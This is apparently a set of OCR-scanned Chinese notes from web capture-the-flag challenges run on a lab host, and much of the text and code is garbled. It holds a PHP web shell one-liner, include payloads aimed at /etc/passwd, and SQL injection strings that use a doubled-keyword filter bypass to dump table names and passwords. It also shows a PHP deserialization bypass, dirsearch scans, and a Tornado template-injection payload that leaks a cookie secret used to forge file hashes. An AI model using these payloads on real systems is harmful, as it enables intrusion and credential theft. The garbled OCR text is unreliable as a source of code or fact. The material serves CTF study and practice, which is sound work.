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shell.phtml:
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script language eval($ POST[a])</script
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I've set up WAF to ensure security.
script
$( ) .submit(function(){
$.ajax({
url encodeURIComponent ($( ).val()),
type s
success:function(data){
$( ) .html(
${data}
)
¥
error:function(){
alert(

)

return false;

})

script

encodeURIComponent()
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var uri

document.write(encodeURIComponent(uri));

i : http%3A%2F%2Fwww.w3cschool. cc%2Fmy%20test.asp%3Fname%3Dst%C3%A51e%26car%3Dsaab

val()
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<?php

error_reporting(9);

if(!isset($_GET[ 1){

show_source(__FILE_);

}else{
$str = $ GET[ I|E
$blacklist [ 5 5 ’ )
foreach ($blacklist as $blackitem) {

if (preg_match( $blackitem
die(
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User input Decoded PHP variable name
%20foo_bar%00 foo bar foo bar
foo%20bar%00 foo bar foo bar
foo%5bbar foo[bar foo bar
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echo xxx;

print xxx;

include “/etc/passwd”;
require “/etc/passwd”;
include_once “/etc/passwd”;
require_once “/etc/passwd”;
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index.php.bak
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<?php
include 'class.php':
$select = $ GET['select']:;

Sres=unserialize (@Sselect);
7>

class.php:



error_reporting(9);

class Name{
private $username

private $password

public function _ construct($username, $password){
$this->username $username;

$this->password $password;

function _ wakeup(){

$this->username

function _ destruct(){

if ($this->password 100) {
echo
echo ;
echo $this->username;echo
echo 5
echo $this->password;echo
die();

}

if ($this->username
global $flag;
echo $flag;

}else{
echo
die();

private $username
private $password
$name new Name;

print(serialize($name));
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You have an error in your SQL syntax; check the manual that corresponds te your. MariaDB server version for the right syntax to use near '1=1#' and password="1" at line 1

BHiA—TF
1' admin or 1=1#

You have an error in your SQL syntax; check the manual that-corresponds.to yaur MariabBB server version for the right syntax to use near 'admin 1=1+#" and password="1" at line 1
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1' uniunionon seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table sc
hema=database()

\ Hellor2!
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. Heftor2 Iy
. Your passwardyjsid,username, password;,

' uniunionon seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql
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python dirsearch.py -u url -e * (BR[#5 % JG 4%]) -S[ZEIR] -X[F=H I J5 5] -i[f7 B RSD] - B R 508

HEINAEIR «
python dirsearch.py -u url -e s 5 -x 400,403,404,429,500,503

R LEAE:
python dirsearch.py -u url -e timeout=2 -t 1 -x 400,403,404,429,500,503
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<?php

include_once 5

if(isset($_GET][ IDDIR
$key = $ GET[ 1
if(!is_numeric($key)) {
exit( )5

1
J

$key = intval($key);

$str
if($key $str) {
echo $flag;
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phpH 55K A L M 45855 . https://blog.csdn.net/baidu_41871794/article/details/83750615
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render
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md5(cookie secret+md5(filename))

url B #7R
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file?’filename=/flag.txt&filehash=14165c711e64d3f31d8c6lacee@c6dl2
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fEurl BRI EHE S R, SR &< B & /error?msg=Error
< C ™ A T2 | 29979649-b7db-41fc-9627-bd11f8006bf0.node4.buuoj.cn:81/error?msg=FError

Error

welcome AR 2R T render Bk, AW BERFEBRIEN, R_—T /error?msg={{1}}

< C QA A =2 | 29979649-b7db-41fc-9627-bd11f8006bf0.noded. buuoj.cn:81/error?msg={{1}}
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® » EEE
Search Results
e
- Search finished, found 4 page(s) matching the search query.
HTTPIRSSE5F0E
=T tornado.web --- RequestHandler *D Application E.IL
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RequestHandler.set_secure_cookie(name: str, value: Union[str, bytes], expires_days: Optional[float] = 30,



version: Optional[int] = None, **kwargs: Any) = None  [{BftHg]
tRCFIET B8 — T cookie, XHFERABER IS

ST cookie_secret [ENFEFEFHIREFERLLGE. EMNZE—MCHREINFEF, BIE
éﬁﬂﬂHMAcWEo

Eﬁ)ﬂﬁtfii iiﬂicookieﬁ, %Eﬁﬁ get_secure_cookie() .

'L%E.}\E% expires_days ﬁﬁiﬁ%‘iﬂ'ﬁ%ﬁﬂlﬂcookleﬁﬂirﬂﬁ fH'—ﬁ max_age_days f—%ﬁ%u
get_secure_cookie {E"}"BE%JL_—BIHUE %Aﬁﬂgﬂzr

Z2cookielJLIBZIEFHE, mAMYUXEUnicode=fFFE (SEMcookiefH)
?':{L,L set_cockie |, /\E'T:EU\—F ;_RZJ: 7_|' EEUMﬁ;ﬁﬂgﬁﬁo
Z‘ES-ZI Jff.%gf iﬁaﬂﬂ[l?’ version é‘ﬁo %l)\?COOkIEHﬁjgzg‘:ﬁ% j]%tl)\ﬁﬁzlgf_,[)] LlamOur

HEE TFHMAEA T return cookie_secret

self.require_setting( COOKIGNSEErEt , "secure cookies")

if value is None:
value = self.get cookie(name)

return decode_signed_value(
self.application.settings["cookie secret”],
name,
value,
max_age_days=max_age_days,
min_wversion=min_version,
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RequestHandler.application.settings



< C () A =2 | 29979649-b7db-41fc-9627-bd11f8006bf0.noded buuoj.cn:81/error?msg={{RequestHandler.application.settings}}

500: Internal Server Error
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RequestHandler.application.settings
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write(), finish(), #1 flush() Esk REEM TEERER. MRIAERASEE, IFAESHRBE KA, £H
|OLoop.add_callback B S XA FEREEREEMN.

fEcnblogs. com FEEBELZ{EE

& RequestHandler # Application ¥ — Tornado 6.1b1 3% ...

https://www.osgeo.cn/tornado/web.html ~

FitiRERTE: 11 58

» ZELSITEEM]#R¥R, 7% RequestHandler 7£ Tornado fUELfitih S EFLem, LHER
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2015-10-7 -| B&Ehandler settingsFiisEIRequestHandler application settingsT!| OK, That's all. posted
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< C ® A TEE | 29979649-b7db-41fc-9627-bd11f8006bf0.noded.buuoj.cni81/error?msg={{handler.settings}} 75 = @

{'autoreload": True, '‘compiled template cache': False, ‘cookie secret: 'b187deec-c460-4121-8d6d-
62ae63e422b2'}
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HR:
<l--

~wepoSt money and passwordree
if (isset($ POST['password’'])) {

$password = $ POST|[ 'password’];

if (is_numeric($password)) {

echo "password can't be number</br>";
telseif ($password == 404) {

echo "Password Right!</br>";

KR

Cookie:user=1

password=404a

payload:

Cookie:user=1

password=404a&money=1e9

Cookie:user=1

%

password=404a&money 1

stremp () -

strcmp(string $strl,string $str2)

SH St BE—NFRE. str2B - ANFRE. R str1 AT str2 8E <0;  WF str1 KF str2 8[E > 0; WRHHHE, &E O,
LREXNRBEZ R T ARFARIRE, XINREEKEHE IR, ERES3ZAMphpF, Bn TREMNEEFEESE, ¥ return 8, return
0 7E LTI AIWT R A% WER, H s RIEH
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